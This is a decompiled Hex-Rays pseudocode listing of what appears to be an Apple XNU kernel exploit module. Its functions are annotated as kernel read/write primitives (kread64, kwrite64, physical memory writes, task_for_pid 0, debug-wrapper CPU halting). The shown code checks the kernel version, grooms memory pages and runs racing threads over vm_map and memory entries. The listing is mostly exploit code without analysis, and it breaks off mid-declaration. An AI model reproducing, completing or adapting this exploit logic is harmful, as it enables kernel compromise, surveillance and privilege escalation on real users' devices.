Copyright (c) 2007-2021 Hex-Rays - - Detected compiler: GNU C++ -*/ - -#include - - -//------------------------------------------------------------------------- -// Function declarations - -__int64 __fastcall allocate_two_buffers_for_something(_QWORD *a1); -__int64 __fastcall sub_A614(__int64); -__int64 __fastcall sub_A99C(__int64); -__int64 __fastcall sub_B73C(__int64); -__int64 __fastcall sub_BED0(__int64, __int64, unsigned int, __int64); -__int64 sub_CEB8(); -__int64 __fastcall kreadbuf_again(__int64 ctx, __int64 vaddr, __int64 out, unsigned int size_1); -__int64 __fastcall sub_FAE4(_QWORD *, int8x8_t *); -__int64 __fastcall sub_FD18(_DWORD *, __int64); -__int64 __fastcall sub_FE30(__int64); -__int64 __fastcall sub_FF10(__int64, __int64, __int64, _QWORD *); -__int64 __fastcall sub_1003C(__int64, __int64, __int64, int, __int64, __int64, unsigned __int64); -void __fastcall sub_101AC(__CFDictionary *, const void *); -__int64 __fastcall sub_10214(__int64, __int64, unsigned __int64); -__int64 __fastcall sub_10414(__int64, __int64, unsigned __int64 *); -__int64 __fastcall sub_10534(_DWORD *, __int64, unsigned int, __int64 *); -__int64 __fastcall validate_addr(__int64, __int64); -unsigned __int64 __fastcall validate_addr_maybe2(__int64, unsigned __int64); -__int64 __fastcall kernel_pattern_scan(__int64, char *__s1, int); -unsigned __int64 __fastcall sub_1E854(__int64 *, __int64 *); -__int64 number_of_cpus(); -unsigned __int64 sub_1F0F4(); -__int64 sub_1F190(); -__int64 __fastcall fd_make_pipe(int *); -__int64 __fastcall setup_two_fds(unsigned int *); -__int64 __fastcall sub_1F714(__int64, const void *, size_t); -__int64 __fastcall sub_1F770(int *, void *, size_t); -__int64 __fastcall sub_211F4(__int64, __int64, unsigned __int64, unsigned __int64 *); -__int64 __fastcall sub_21200(__int64); -unsigned __int64 __fastcall sub_21388(__int64); -__n128 __fastcall sub_213D4(__int64 a1, unsigned __int64 obj, __int64 a3, __int64 a4); -double __fastcall sub_2183C(__int64, unsigned __int64, __int64); -unsigned __int64 __fastcall get_kobject_maybe(__int64 a1, unsigned __int64 obj); -__int64 __fastcall something_dmaFail(_DWORD *a1); -bool __fastcall dbgwrap_halt_cpu(__int64 ctx, __int64 dmaBase, _OWORD *value); -const __CFDictionary *__fastcall sub_24D64(const char *); -__int64 __fastcall fd_close(int); -__int64 __fastcall fd_open_dev_null(int *); -__int64 __fastcall sub_2566C(__int64, int *, unsigned __int64); -__int64 __fastcall kreadbuf_last_1(__int64, __int64, __int64, __int64); -__int64 __fastcall physmap_maybe(__int64, vm_address_t *, vm_size_t, __int64); -__int64 __fastcall sub_27808(__int64, char); -bool __fastcall kread64(_DWORD *, unsigned __int64, __int64 *); -bool __fastcall sub_288A4(__int64, unsigned __int64, __int64); -__int64 __fastcall sub_288D4(__int64); -__int64 __fastcall sub_28CE0(__int64, unsigned __int64, __int64); -__int64 __fastcall sub_28F90(__int64 ctx, unsigned __int64 targetAddr, __int64 valueBuf, unsigned int valueSize, int useFdPrimitive); -bool __fastcall kread32_outptr(__int64, unsigned __int64, void *); -__int64 __fastcall kreadbuf_via_dev_null_and_thread_state(__int64, unsigned __int64, __int64, unsigned int, int); -bool __fastcall kread64_internal(__int64, unsigned __int64, _QWORD *); -bool __fastcall kwrite64(__int64, mach_vm_address_t, __int64); -__int64 __fastcall kwritebuf_last_1(__int64, __int64, __int64, __int64); -bool __fastcall kreadbuf(__int64, unsigned __int64, mach_vm_size_t, void *, __int64); -__int64 __fastcall sub_2AABC(__int64, unsigned int); -__int64 __fastcall sub_2B0E8(__int64, __int64, __int64); -__int64 __fastcall sub_328A4(__int64, unsigned __int64); -unsigned __int64 __fastcall port_name_to_kaddr(__int64, unsigned int); -__int64 __fastcall sub_32D6C(__int64, unsigned int); -__int64 __fastcall sub_32D80(__int64, __int64); -__int64 __fastcall sub_32F1C(__int64); -__int64 __fastcall sub_33304(__int64, __int64); -__int64 __fastcall krw_task_for_pid_0(__int64, __int64, int); -__int64 __fastcall sub_33A88(__int64, __int64, char); -__int64 __fastcall sub_33B98(_DWORD *, unsigned int, unsigned __int64); -unsigned __int64 __fastcall sub_33E8C(__int64, unsigned int); -unsigned __int64 __fastcall sub_349C8(_DWORD *, unsigned int); -__int64 __fastcall sub_35E18(__int64, __int64, int); -bool __fastcall krw_ctx_has_flag(_DWORD *, int); -__int64 __fastcall sub_38378(__int64, __int64, __int64, unsigned __int64); -__int64 __fastcall sub_385F4(__int64, unsigned __int64); -__int64 __fastcall physwrite_maybe(__int64, unsigned __int64, __int64); -double __fastcall sub_38BCC(__int64, __int64); -void __fastcall sub_38D60(__int64, unsigned __int64, void *, unsigned int, int); -void __fastcall physwritebuf_idk_MAYBENOTSURE(__int64, __int64, const void *, unsigned int, int); -__int64 __fastcall sub_39A24(__int64, unsigned __int64); -unsigned __int64 __fastcall sub_39B14(_QWORD *); -// void __usercall sub_39B70(__int64@, _QWORD *@); -const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData); -CFIndex __cdecl CFDataGetLength(CFDataRef theData); -CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks); -void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value); -void __cdecl CFRelease(CFTypeRef cf); -CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options); -kern_return_t __cdecl IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt); -kern_return_t __cdecl IOObjectRelease(io_object_t object); -kern_return_t __cdecl IOServiceClose(io_connect_t connect); -kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect); -int *__error(void); -__int64 __ulock_wake(); -void __cdecl arc4random_buf(void *__buf, size_t __nbytes); -void __cdecl bzero(void *, size_t); -void *__cdecl calloc(size_t __count, size_t __size); -int __cdecl close(int); -int __cdecl dlclose(void *__handle); -void *__cdecl dlopen(const char *__path, int __mode); -void *__cdecl dlsym(void *__handle, const char *__symbol); -pid_t getpid(void); -uint64_t mach_absolute_time(void); -mach_port_t mach_host_self(void); -kern_return_t __cdecl mach_make_memory_entry(vm_map_t target_task, vm_size_t *size, vm_offset_t offset, vm_prot_t permission, mem_entry_name_port_t *object_handle, mem_entry_name_port_t parent_entry); -mach_msg_return_t __cdecl mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify); -void __cdecl mach_msg_destroy(mach_msg_header_t *); -kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name); -kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name); -kern_return_t __cdecl mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta); -kern_return_t __cdecl mach_port_set_attributes(ipc_space_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info, mach_msg_type_number_t port_infoCnt); -__int64 mach_reply_port(); -kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info); -int __cdecl madvise(void *, size_t, int); -void *__cdecl memcpy(void *__dst, const void *__src, size_t __n); -int open(const char *, int, ...); -int __cdecl socket(int, int, int); -kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time); -kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags); -kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size); -kern_return_t __cdecl vm_map(vm_map_t target_task, vm_address_t *address, vm_size_t size, vm_address_t mask, int flags, mem_entry_name_port_t object, vm_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance); -kern_return_t __cdecl vm_region_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); -// __int64 __chkstk_darwin(void); weak - -//------------------------------------------------------------------------- -// Data declarations - -section_64 stru_68 = -{ - { - '_', - '_', - 't', - 'e', - 'x', - 't', - '\0', - '\0', - '\0', - '\0', - '\0', - '\0', - '\0', - '\0', - '\0', - '\0' - }, - "__TEXT", - 24260uLL, - 242088uLL, - 24260u, - 2u, - 0u, - 0u, - 2147484672u, - 0u, - 0u, - 0u -}; // weak -__int128 xmmword_42EC0 = 0x1000000010000000000000000LL; // weak -// extern const CFBooleanRef kCFBooleanFalse; -// extern const CFDictionaryKeyCallBacks kCFTypeDictionaryKeyCallBacks; -// extern const CFDictionaryValueCallBacks kCFTypeDictionaryValueCallBacks; -// extern mach_port_t mach_task_self_; -// extern int vm_page_shift; -// extern vm_size_t vm_page_size; - - -//----- (0000000000005EC4) ---------------------------------------------------- -__int64 __fastcall driver(_QWORD *a1) -{ - __int64 v1; // x19 - _QWORD *v3; // x0 - - v1 = 0xAD001LL; - if ( a1 ) - { - v3 = calloc(1uLL, 0x50uLL); - if ( v3 ) - { - v1 = 0LL; - *(_DWORD *)v3 = 0x20002; - v3[2] = driver_free; - v3[3] = driver_init; - v3[5] = driver_dispatch_command; - v3[6] = sub_6070; - v3[4] = driver_close; - v3[7] = sub_60A8; - v3[8] = sub_60EC; - v3[9] = sub_6224; - *a1 = v3; - } - else - { - return 0xAD009LL; - } - } - return v1; -} - -//----- (0000000000005F9C) ---------------------------------------------------- -__int64 __fastcall driver_free(_OWORD *a1) -{ - if ( !a1 ) - return 0xAD001LL; - a1[3] = 0u; - a1[4] = 0u; - a1[1] = 0u; - a1[2] = 0u; - *a1 = 0u; - free(a1); - return 0LL; -} - -//----- (0000000000005FDC) ---------------------------------------------------- -__int64 __fastcall driver_init(__int64 a1, char a2, _QWORD *a3) -{ - __int64 result; // x0 - __int64 v6; // [xsp+8h] [xbp-18h] BYREF - - v6 = 0LL; - result = 0xAD001LL; - if ( a1 && a3 ) - { - result = driver_init2(&v6, a2); - if ( !(_DWORD)result ) - *a3 = v6; - } - return result; -} - -//----- (0000000000006030) ---------------------------------------------------- -__int64 __fastcall driver_dispatch_command( - __int64 a1, - __int64 a2, - __int64 a3, - __int64 a4, - __int64 a5, - __int64 a6, - __int64 a7, - __int64 a8) -{ - if ( a1 && a2 ) - return driver_dispatch_command2(a2, a3, a3, a4, a5, a6, a7, a8, a4); - else - return 0xAD001LL; -} - -//----- (0000000000006070) ---------------------------------------------------- -__int64 __fastcall sub_6070(__int64 a1, __int64 a2) -{ - if ( a1 && a2 ) - return sub_3F2E0(a2); - else - return 0xAD001LL; -} - -//----- (000000000000608C) ---------------------------------------------------- -__int64 __fastcall driver_close(__int64 a1, char *a2) -{ - if ( a1 && a2 ) - return driver_close_internal(a2); - else - return 0xAD001LL; -} - -//----- (00000000000060A8) ---------------------------------------------------- -__int64 __fastcall sub_60A8(__int64 a1, __int64 a2, _DWORD *a3) -{ - __int64 result; // x0 - int v5; // w8 - - result = 0xAD001LL; - if ( a1 && a2 && a3 ) - { - v5 = *(_DWORD *)(a2 + 0x1918); - result = 0xAD00ALL; - if ( (unsigned int)(v5 + 1) >= 2 ) - { - result = 0LL; - *a3 = v5; - } - } - return result; -} - -//----- (00000000000060EC) ---------------------------------------------------- -__int64 __fastcall sub_60EC(__int64 a1, __int64 *a2, __int64 a3, unsigned int a4, int a5) -{ - __int64 v5; // x20 - __int64 *v11; // x24 - unsigned __int64 v12; // x25 - _BOOL4 v13; // w26 - __int64 v14; // x2 - __int64 v15; // t1 - unsigned int v16; // w0 - __int64 v19; // [xsp+8h] [xbp-48h] BYREF - - v19 = 0LL; - v5 = 0xAD001LL; - if ( a1 && a2 && (a3 && a4 || !a3 && !a4) ) - { - if ( *a2 ) - { - v19 = *a2; - } - else - { - v5 = (*(__int64 (__fastcall **)(__int64, _QWORD, __int64 *))(a1 + 0x18))(a1, 0LL, &v19); - if ( (_DWORD)v5 ) - return v5; - } - if ( !a4 ) - goto LABEL_24; - LODWORD(v5) = 0; - v11 = (__int64 *)(a3 + 8); - v12 = 1LL; - LOBYTE(v13) = 1; - do - { - v14 = *((unsigned int *)v11 + 0xFFFFFFFE); - v15 = *v11; - v11 += 2; - v16 = (*(__int64 (__fastcall **)(__int64, __int64, __int64, __int64))(a1 + 0x28))(a1, v19, v14, v15); - if ( v13 ) - v5 = v16; - else - v5 = (unsigned int)v5; - v13 = v5 == 0; - } - while ( (a5 | v13) == 1 && v12++ < a4 ); - if ( (_DWORD)v5 ) - { - if ( !*a2 ) - { - if ( (a5 & 1) == 0 ) - (*(void (__fastcall **)(__int64, __int64))(a1 + 0x30))(a1, v19); - (*(void (__fastcall **)(__int64, __int64))(a1 + 0x20))(a1, v19); - } - } - else - { -LABEL_24: - v5 = 0LL; - *a2 = v19; - } - } - return v5; -} - -//----- (0000000000006224) ---------------------------------------------------- -__int64 __fastcall sub_6224(__int64 a1, __int64 a2) -{ - __int64 v3; // x21 - __int64 result; // x0 - host_t v6; // w0 - kern_return_t v7; // w0 - kern_return_t v8; // w20 - char *v9; // x0 - size_t v10; // [xsp+18h] [xbp-238h] BYREF - int v11; // [xsp+20h] [xbp-230h] BYREF - int v12[2]; // [xsp+28h] [xbp-228h] BYREF - kernel_version_t kernel_version; // [xsp+30h] [xbp-220h] BYREF - - v3 = 0xAD014LL; - result = 0xAD001LL; - if ( a1 && a2 ) - { - memset(kernel_version, 0, sizeof(kernel_version)); - v6 = mach_host_self(); - v7 = host_kernel_version(v6, kernel_version); - if ( v7 ) - { - v8 = v7; - if ( v7 != 0x35 ) - return v8 | 0x80000000; - *(_QWORD *)v12 = 0x400000001LL; - v10 = 0x200LL; - if ( sysctl(v12, 2u, kernel_version, &v10, 0LL, 0LL) ) - return v8 | 0x80000000; - } - if ( !strstr(kernel_version, "RELEASE") ) - return 0xAD008LL; - v9 = strstr(kernel_version, "xnu-"); - if ( v9 ) - { - v11 = 0; - v10 = 0LL; - if ( sscanf(v9, "xnu-%u.%u.%u%*s", &v10, (char *)&v10 + 4, &v11) == 3 ) - { - v3 = 0LL; - *(_QWORD *)a2 = v10; - *(_DWORD *)(a2 + 8) = v11; - } - } - return v3; - } - return result; -} - -//----- (0000000000006384) ---------------------------------------------------- -vm_address_t __fastcall sub_6384(vm_address_t src_address, vm_size_t size, boolean_t copy) -{ - vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF - vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF - - *(_QWORD *)cur_protection = 0LL; - target_address = 0LL; - vm_remap( - mach_task_self_, - &target_address, - size, - 0LL, - 1, - mach_task_self_, - src_address, - copy, - &cur_protection[1], - cur_protection, - 1u); - return target_address; -} - -//----- (00000000000063E8) ---------------------------------------------------- -__int64 __fastcall sub_63E8(vm_address_t src_address, vm_size_t size, boolean_t copy) -{ - vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF - vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF - - *(_QWORD *)cur_protection = 0LL; - target_address = src_address; - return vm_remap( - mach_task_self_, - &target_address, - size, - 0LL, - 0x4000, - mach_task_self_, - src_address, - copy, - &cur_protection[1], - cur_protection, - 1u); -} - -//----- (0000000000006448) ---------------------------------------------------- -unsigned __int64 __fastcall sub_6448(vm_address_t a1) -{ - __int128 v2; // [xsp+0h] [xbp-70h] BYREF - __int128 v3; // [xsp+10h] [xbp-60h] - __int128 v4; // [xsp+20h] [xbp-50h] - _DWORD v5[7]; // [xsp+30h] [xbp-40h] BYREF - vm_size_t size; // [xsp+58h] [xbp-18h] BYREF - vm_address_t address; // [xsp+60h] [xbp-10h] BYREF - mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-8h] BYREF - natural_t nesting_depth; // [xsp+6Ch] [xbp-4h] BYREF - - size = 0LL; - address = a1; - v4 = 0u; - memset(v5, 0, sizeof(v5)); - v2 = 0u; - v3 = 0u; - infoCnt = 0x13; - nesting_depth = 1; - vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, (vm_region_recurse_info_t)&v2, &infoCnt); - return DWORD2(v3) | ((unsigned __int64)DWORD2(v4) << 0x20); -} - -//----- (00000000000064B8) ---------------------------------------------------- -__int64 __fastcall sub_64B8(__int64 a1, __int64 a2) -{ - if ( *(_QWORD *)(a1 + 8) < *(_QWORD *)(a2 + 8) ) - return 0xFFFFFFFFLL; - else - return 1LL; -} - -//----- (00000000000064D0) ---------------------------------------------------- -__int64 __fastcall sub_64D0(__int64 a1, __int64 a2) -{ - unsigned __int64 v2; // x8 - unsigned __int64 v3; // x9 - bool v4; // cf - unsigned int v5; // w8 - - v2 = *(_QWORD *)(a1 + 8); - v3 = *(_QWORD *)(a2 + 8); - v4 = v2 >= v3; - if ( v2 <= v3 ) - v5 = 0; - else - v5 = 0xFFFFFFFF; - if ( v4 ) - return v5; - else - return 1LL; -} - -//----- (00000000000064E8) ---------------------------------------------------- -__int64 setup_thread_policy() -{ - unsigned __int64 v0; // d0 - unsigned __int64 v1; // d1 - thread_act_t v2; // w0 - mach_timebase_info info; // [xsp+8h] [xbp-18h] BYREF - integer_t policy_info[4]; // [xsp+10h] [xbp-10h] BYREF - - mach_timebase_info(&info); - LODWORD(v1) = info.numer; - LODWORD(v0) = info.denom; - policy_info[0] = (unsigned int)((double)v0 / (double)v1 * 1000000.0 * 50.0); - policy_info[1] = policy_info[0]; - policy_info[2] = policy_info[0]; - policy_info[3] = 0; - v2 = mach_thread_self(); - thread_policy_set(v2, 2u, policy_info, 4u); - return thread_switch(0, 2, 0); -} -// 6504: variable 'v0' is possibly undefined -// 6508: variable 'v1' is possibly undefined - -//----- (0000000000006564) ---------------------------------------------------- -void __fastcall sub_6564(__int64 a1, __int64 a2) -{ - __int64 v3; // x10 - char v4; // w13 - __int64 i; // x12 - __int64 v6; // x15 - __int64 v7; // x13 - __int64 v8; // x14 - __int64 v9; // x15 - __int64 *v10; // x13 - int (__cdecl *v11)(const void *, const void *); // x0 - _OWORD v12[8]; // [xsp+0h] [xbp-A0h] BYREF - - memset(v12, 0, sizeof(v12)); - v3 = *(_QWORD *)(a2 + 8); - v4 = 1; - for ( i = 1LL; i != 0xFA00; ++i ) - { - v6 = v3 + 0x100; - v3 = *(_QWORD *)(a2 + 0x10 * i + 8); - if ( v3 == v6 ) - { - ++v4; - } - else - { - if ( (v4 & 0x3F) == 0 ) - { - v7 = 0LL; - v8 = *(_QWORD *)(a2 + 0x10 * i - 0x3F8) & 0x3FFFLL | 0x4000; - while ( 1 ) - { - v9 = *(_QWORD *)&v12[v7]; - if ( !v9 ) - { - v10 = (__int64 *)&v12[v7]; - *v10 = v8; - v10[1] = 1LL; - goto LABEL_5; - } - if ( v9 == v8 ) - break; - if ( ++v7 == 8 ) - goto LABEL_5; - } - ++*((_QWORD *)&v12[v7] + 1); - } -LABEL_5: - v4 = 1; - } - } - v11 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64D0); - qsort(v12, 8uLL, 0x10uLL, v11); - *(_QWORD *)(a1 + 8) = *(_QWORD *)&v12[0]; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (00000000000066A4) ---------------------------------------------------- -void __fastcall sub_66A4(_QWORD *a1) -{ - _QWORD *v2; // x19 - void *v3; // x0 - __int64 v4; // x23 - char *v5; // x21 - __int64 i; // x23 - __int64 j; // x23 - __int64 v8; // x1 - int (__cdecl *v9)(const void *, const void *); // x0 - __int64 v10; // x8 - unsigned __int64 v11; // x12 - __int64 v12; // x9 - __int64 v13; // x13 - unsigned __int64 v14; // x15 - __int64 v15; // x14 - __int64 *v16; // x15 - __int64 v17; // x16 - __int64 v18; // t1 - bool v19; // w14 - __int64 v20; // x15 - _QWORD *v21; // x14 - vm_address_t address; // [xsp+8h] [xbp-38h] BYREF - - v2 = malloc(0x28uLL); - v2[1] = malloc(0xFA000uLL); - v3 = malloc(0x3E80uLL); - v4 = 0LL; - v2[3] = 0LL; - v2[4] = 0LL; - v2[2] = v3; - *v2 = *a1; - *a1 = v2; - do - { - address = 0LL; - vm_allocate(mach_task_self_, &address, 0x4000uLL, 1); - v5 = (char *)v2[1]; - *(_QWORD *)&v5[v4] = address; - v4 += 0x10LL; - } - while ( v4 != 0xFA000 ); - for ( i = 0LL; i != 0xFA000; i += 0x10LL ) - { - sub_63E8(*(_QWORD *)&v5[i], 0x4000uLL, 0); - v5 = (char *)v2[1]; - } - for ( j = 0LL; j != 0xFA000; j += 0x10LL ) - { - sub_6448(*(_QWORD *)&v5[j]); - v5 = (char *)v2[1]; - *(_QWORD *)&v5[j + 8] = v8; - } - v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_64B8); - qsort(v5, 0xFA00uLL, 0x10uLL, v9); - v10 = a1[1]; - if ( !v10 ) - { - sub_6564((__int64)a1, v2[1]); - v10 = a1[1]; - } - v11 = 0LL; - v12 = v2[1]; - do - { - v13 = *(_QWORD *)(v12 + 0x10 * v11 + 8); - if ( (((unsigned __int16)v10 ^ (unsigned __int16)v13) & 0x3FFF) != 0 ) - goto LABEL_19; - v14 = v11 + 1; - v15 = v13 + 0x100; - if ( *(_QWORD *)(v12 + 0x10 * (v11 + 1) + 8) == v13 + 0x100 ) - { - v16 = (__int64 *)(v12 + 0x28 + 0x10 * v11); - v17 = 1LL; - while ( v17 != 0x3F ) - { - v18 = *v16; - v16 += 2; - v15 += 0x100LL; - ++v17; - if ( v15 != v18 ) - { - v19 = (unsigned __int64)(v17 - 1) < 0x3F; - v14 = v11 + v17; - goto LABEL_17; - } - } -LABEL_18: - v20 = v2[4]; - v21 = (_QWORD *)(v2[2] + 0x10 * v20); - *v21 = *(_QWORD *)(v12 + 0x10 * v11); - v21[1] = v13; - *(_QWORD *)(v12 + 0x10 * v11) = 0LL; - v2[4] = v20 + 1; - v11 += 0x3FLL; - goto LABEL_19; - } - v19 = 1; -LABEL_17: - v11 = v14 - 1; - if ( !v19 ) - goto LABEL_18; -LABEL_19: - ++v11; - } - while ( v11 < 0xF9C1 ); -} -// 6880: conditional instruction was optimized away because x16.8==3F -// 6778: variable 'v8' is possibly undefined -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (00000000000068A0) ---------------------------------------------------- -__int64 __fastcall sub_68A0(_QWORD *a1) -{ - _QWORD *v2; // x8 - __int64 v3; // x9 - __int64 result; // x0 - - v2 = (_QWORD *)*a1; - if ( !*a1 || (v3 = v2[3], v3 == v2[4]) ) - { - sub_66A4(a1); - v2 = (_QWORD *)*a1; - v3 = *(_QWORD *)(*a1 + 0x18LL); - } - result = v2[2] + 0x10 * v3; - v2[3] = v3 + 1; - return result; -} - -//----- (00000000000068F4) ---------------------------------------------------- -void __fastcall sub_68F4(__int64 a1) -{ - __int64 i; // x21 - __int64 v3; // x22 - vm_address_t v4; // x1 - unsigned __int64 v5; // x21 - __int64 v6; // x22 - __int64 v7; // x23 - __int64 vars8; // [xsp+38h] [xbp+8h] - - for ( i = 0LL; i != 0xFA000; i += 0x10LL ) - { - v3 = *(_QWORD *)(a1 + 8); - v4 = *(_QWORD *)(v3 + i); - if ( v4 ) - { - vm_deallocate(mach_task_self_, v4, 0x4000uLL); - *(_QWORD *)(v3 + i) = 0LL; - } - } - v5 = *(_QWORD *)(a1 + 0x18); - if ( v5 < *(_QWORD *)(a1 + 0x20) ) - { - v6 = 0x10 * v5; - do - { - v7 = *(_QWORD *)(a1 + 0x10); - vm_deallocate(mach_task_self_, *(_QWORD *)(v7 + v6), 0x4000uLL); - *(_QWORD *)(v7 + v6) = 0LL; - ++v5; - v6 += 0x10LL; - } - while ( v5 < *(_QWORD *)(a1 + 0x20) ); - } - free(*(void **)(a1 + 8)); - free(*(void **)(a1 + 0x10)); - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - free((void *)a1); -} -// 69A8: variable 'vars8' is possibly undefined - -//----- (00000000000069B8) ---------------------------------------------------- -__int64 __fastcall sub_69B8(__int64 a1) -{ - mem_entry_name_port_t v1; // w19 - __int64 v2; // x8 - unsigned __int8 *v3; // x21 - unsigned __int8 v4; // w8 - vm_address_t address; // [xsp+18h] [xbp-38h] BYREF - - v1 = *(_DWORD *)a1; - v2 = *(_QWORD *)(a1 + 8); - atomic_fetch_add((atomic_uint *volatile)(v2 + 0x18), 1u); - v3 = (unsigned __int8 *)(v2 + 0x1C); - LOBYTE(v2) = atomic_load((unsigned __int8 *)(v2 + 0x1C)); - if ( (v2 & 1) == 0 ) - { - do - { - address = 0LL; - vm_map(mach_task_self_, &address, 0x4000uLL, 0LL, 0, v1, 0LL, 1, 1, 1, 1u); - v4 = atomic_load(v3); - } - while ( (v4 & 1) == 0 ); - } - return 0LL; -} - -//----- (0000000000006A54) ---------------------------------------------------- -__int64 __fastcall sub_6A54(__int64 a1, mem_entry_name_port_t *a2) -{ - __int64 v4; // x23 - pthread_t *v5; // x21 - _OWORD *v6; // x22 - void *(__cdecl *v7)(void *); // x0 - unsigned int v8; // w8 - __int64 v9; // x20 - mach_port_t object_handle; // [xsp+4h] [xbp-ACh] BYREF - memory_object_size_t size; // [xsp+8h] [xbp-A8h] BYREF - _OWORD v13[4]; // [xsp+10h] [xbp-A0h] BYREF - _OWORD v14[2]; // [xsp+50h] [xbp-60h] BYREF - - v4 = 0LL; - atomic_store(0, (unsigned int *)(a1 + 0x18)); - atomic_store(0, (unsigned __int8 *)(a1 + 0x1C)); - memset(v14, 0, sizeof(v14)); - memset(v13, 0, sizeof(v13)); - v5 = (pthread_t *)v14; - v6 = v13; - do - { - *(_DWORD *)v6 = a2[v4]; - *((_QWORD *)v6 + 1) = a1; - v7 = (void *(__cdecl *)(void *))nullsub_1(sub_69B8); - if ( pthread_create(v5, 0LL, v7, v6) ) - __error(); - ++v4; - ++v5; - ++v6; - } - while ( v4 != 4 ); - while ( 1 ) - { - v8 = atomic_load((unsigned int *)(a1 + 0x18)); - if ( v8 == 4 ) - break; - usleep(0x3E8u); - } - size = 0x4000LL; - object_handle = 0; - mach_make_memory_entry_64(mach_task_self_, &size, 0LL, 1, &object_handle, *a2); - v9 = 0LL; - atomic_store(1u, (unsigned __int8 *)(a1 + 0x1C)); - do - { - if ( pthread_join(*(pthread_t *)((char *)v14 + v9), 0LL) ) - __error(); - v9 += 8LL; - } - while ( v9 != 0x20 ); - return object_handle; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (0000000000006BBC) ---------------------------------------------------- -__int64 __fastcall sub_6BBC(_QWORD *a1, __int64 a2) -{ - vm_address_t *v4; // x21 - __int64 v5; // x24 - unsigned __int64 v6; // x0 - __int64 v7; // x1 - __int64 v8; // x22 - __int64 v9; // x25 - mach_port_name_t v10; // w20 - unsigned __int64 v11; // x0 - __int64 v12; // x19 - unsigned __int64 v14; // x24 - memory_object_size_t v15; // x9 - unsigned __int64 v16; // x8 - mach_port_name_t v17; // w1 - memory_object_size_t size; // [xsp+10h] [xbp-60h] BYREF - mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-58h] BYREF - __int64 v20; // [xsp+20h] [xbp-50h] - - v4 = (vm_address_t *)sub_68A0(a1); - thread_switch(0, 2, 0); - vm_deallocate(mach_task_self_, *v4, 0x4000uLL); - v5 = 0LL; - *v4 = 0LL; - *(_QWORD *)object = 0LL; - v20 = 0LL; - do - { - size = 0x4000LL; - mach_make_memory_entry_64(mach_task_self_, &size, a1[2], 1, &object[v5++], 0); - } - while ( v5 != 4 ); - size = 0LL; - vm_map(mach_task_self_, &size, 0x4000uLL, 0LL, 1, object[0], 0LL, 0, 1, 1, 1u); - v6 = sub_6448(size); - if ( v7 != v4[1] ) - goto LABEL_6; - v8 = v7; - v9 = (unsigned int)(HIDWORD(v6) + 1); - v10 = sub_6A54((__int64)a1, object); - v11 = sub_6448(size); - if ( v9 == HIDWORD(v11) ) - { - mach_port_deallocate(mach_task_self_, v10); -LABEL_6: - vm_deallocate(mach_task_self_, size, 0x4000uLL); - v12 = 0LL; - size = 0LL; - do - { - mach_port_deallocate(mach_task_self_, object[v12]); - object[v12++] = 0; - } - while ( v12 != 4 ); - return 0LL; - } - v14 = 0LL; - v15 = size; - *(_QWORD *)a2 = v8; - *(_QWORD *)(a2 + 8) = v15; - *(_DWORD *)(a2 + 0x10) = v10; - v16 = v9 + ~HIDWORD(v11); - *(_QWORD *)(a2 + 0x20) = v16; - while ( 1 ) - { - v17 = object[v14]; - if ( v14 >= v16 ) - { - mach_port_deallocate(mach_task_self_, v17); - object[v14] = 0; - } - else - { - *(_DWORD *)(a2 + 0x14 + 4 * v14) = v17; - } - if ( v14 == 3 ) - break; - v16 = *(_QWORD *)(a2 + 0x20); - ++v14; - } - return 1LL; -} -// 6CAC: variable 'v7' is possibly undefined - -//----- (0000000000006DC0) ---------------------------------------------------- -__int64 __fastcall sub_6DC0(_QWORD *a1, unsigned __int64 a2, _DWORD *a3) -{ - __int64 v5; // x21 - unsigned __int64 v6; // x8 - vm_address_t v7; // x1 - __int64 result; // x0 - - v5 = a2 & 0x3FFF; - v6 = a2 >> 0xE; - v7 = a1[0xA9]; - *(_DWORD *)(v7 + 0x230) = v6; - vm_copy(mach_task_self_, v7, 0xC000uLL, a1[0xAA]); - result = sub_63E8(a1[0xAC], 0x4000uLL, 0); - *a3 = *(_DWORD *)(a1[0xAC] + v5); - return result; -} - -//----- (0000000000006E30) ---------------------------------------------------- -void 